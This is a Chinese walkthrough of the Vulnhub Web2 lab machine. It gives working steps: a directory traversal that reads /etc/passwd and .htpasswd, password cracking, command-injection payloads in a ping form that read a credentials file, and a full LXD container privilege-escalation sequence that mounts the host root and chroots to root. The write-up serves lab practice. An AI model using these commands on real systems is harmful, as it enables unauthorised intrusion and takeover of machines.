热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

VulunhubWeb2靶机练习之lxc

提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档目录前言一、信息收集二、漏洞利用(目录穿越、命令执行)三、

提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档


目录

前言

 一、信息收集

 二、漏洞利用(目录穿越、命令执行)

 三、提权

总结




前言

提示:这里可以添加本文要记录的大概内容:

Vuluhub Web1靶机也做了,不妨把Web2也做了,总是能学到一些未知的东西。



提示:以下是本篇文章正文内容,下面案例可供参考


一、信息收集

安装好靶机后,一如既往的信息收集,先查看靶机的IP,然后端口情况等等。


靶机的IP地址为192.168.23.133、开放了80端口和22端口,系统是linux_kernel。22端口可以远程ssh登录,80端口用的apache,访问80端口看看。


 


是这么一个页面,还挺帅,可以进行登录和注册,直接注册并且登录进去瞧瞧。


 


好像是一个文件的分享目录 ,XuezhuLi好像是某个集成的框架,先爆破波目录看看,再看看框架有漏洞没。


 


 扫出了webadmin和sign.php、download.php等多个路径,webadmin需要登录,像是后台。


 


有两个漏洞,一个是目录遍历漏洞,一个是CSRF漏洞,自己的靶机没有其它人,第一个没法用,只能用第二个,跟apache的目录遍历漏洞大同小异。



 二、漏洞利用(目录穿越、命令执行)



 遍历出/etc/passwd文件,发现有aiweb2和n0nr00tuser用户,密码未知,爆破有点难。所以好像没啥用,不过80端口用的是apache,可以遍历apache的默认配置文件试试,linux的apache默认存放在/etc/apache2/里面,或许可以找下能够登录后台webadmin的文件,一般Serveradmin会在etc/apache2/sites-enabled/000-default.conf里面有,遍历出来看看。


 


能够看到服务器的根路径为/var/www/html,没有直接显示admin的账号密码,但是显示了认证文件的路径 /etc/apache2/.htpasswd,继续查看。


 


里面存放了用户名和经过hash加密的密码,可以尝试下爆破密码,因为靶机描述提示了要用到的字典 ,把字典下载下来,直接john爆破得到了后台的账号密码,


https://github.com/danielmiessler/SecLists/blame/master/Passwords/Leaked-Databases/rockyou-45.txt

 


知道了后台的账号密码,登录看看。 



 


 这里提示有robots.txt文件。


 


提示有两个目录,/H05Tpin9555/,/S0mextras/,分别访问两个目录,/H05Tpin9555/是一个ping命令的执行,/S0mextras/有提示信息说,想要的东西在/S0mextras/这个目录中。这种ping命令在CTF中常见,可以通过&,|有可能一同被命令执行,从而导致了其它信息泄露。


 


既然提示想要的东西在/S0mextras/目录中,可以试试查找这个目录中的文件。

127.0.0.1|find /var/www/html/webadmin/S0mextras/  -type f  -name '*.txt'

发现了sshUser的文件。


 


 127.0.0.1|cat /var/www/html/webadmin/S0mextras/.sshUserCred55512.txt抓取文件中的内容,有用户名和密码,进行ssh登录看看,登录成功。 



 三、提权

登录到靶机后,肯定要进行提权,最好提升到root权限,查看有没有SUID的文件可利用。


find / -user root -perm -4000 -exec ls -l {} \;


 


web1是通过能编辑/etc/passwd用户进行提权,这次不行了,但是SUID权限的文件多了几个,特别是这个/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic,可以进行LXD提权,是个新知识。 


 关于lxc和lxd:


LXC全名Linux Container,就是一种虚拟化的容器技术,可以创建和操作系统接近的环境,但又不需要单独用到内核资源。

LXD全程Linux Daemon,容器管理程序,基于LXC容器技术实现,简单来说就是完成容器管理工作。



关于 lxd提权:当前用户具有lxd权限时(通过id命令可以查看),可以通过创建任意镜像,并将当前系统根目录挂载到镜像mnt目录下,然后通过chroot命令即可获取当前系统的root权限。



 可以看到当前用户确实有lxd权限,直接搜提权的文件。


 


 或者通过kali的searchsploit直接搜索也能搜索到,并且该提权的sh文件,在/usr/share/exploitdb/exploits/linux/local/46978.sh中,单有这个文件还不行,还要创建一个容器,并导入到lxd中,资料都显示使用alpine镜像。


​​​​​​https://github.com/saghul/lxd-alpine-builder/https://github.com/saghul/lxd-alpine-builder/icon-default.png?t=M85Bhttps://github.com/saghul/lxd-alpine-builder/下载好镜像后和46978.sh一同传入到靶机中,赋予权限,运行即可权限提升

 但是好像不一定lxd权限提升不一定要使用alpine镜像也可以,可以使用任意容器,一般方式为:


lxc init ubuntu: ignite -c security.privileged=true 初始化Ubuntu镜像
lxc config device add ignite mydevice disk source=/ path=/mnt/root 将根目录挂载lxc start ignite        启动容器
lxc exec ignite /bin/sh        进入容器的shell
chroot /mnt/root        提升权限

那么此靶机应该也可以通过将/etc目录挂载到/mnt/root目录下,然后通过openssl生成一个root用户的密码,将自定义root密码的passwd文件上传到容器中,从而进行root的登录。但是靶机自定义镜像真的太慢了。。没法试,但是还是不用网上46978.sh带的脚本,用了alpine镜像实现成功。


 lxc image import ./apline-v3.13-x86_64-20210218_0139.tar.gz --alias myimage 将镜像添加进lxd中

lxc image list 查看镜像列表

lxc  init alpine ignite -c security.privileged=true 应该是初始化容器并设置特权吧

lxc config device add ignite mydevice disk source=/ path=/mnt/root  将根目录挂载到/mnt/root目录

lxc start ignite        启动容器

lxc exec ignite /bin/sh       进入shell

chroot /mnt/root 提升权限


如果


lxc config device add ignite mydevice disk source=/etc path=/mnt/root  将根目录挂载

可以试试自定义passwd,将passwd文件推入容器中

lxc file push passwd mnt/root/passwd



总结

1、目录遍历漏洞

2、 命令执行漏洞

3、lxc提权漏洞


推荐阅读
author-avatar
手机用户2602891283
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有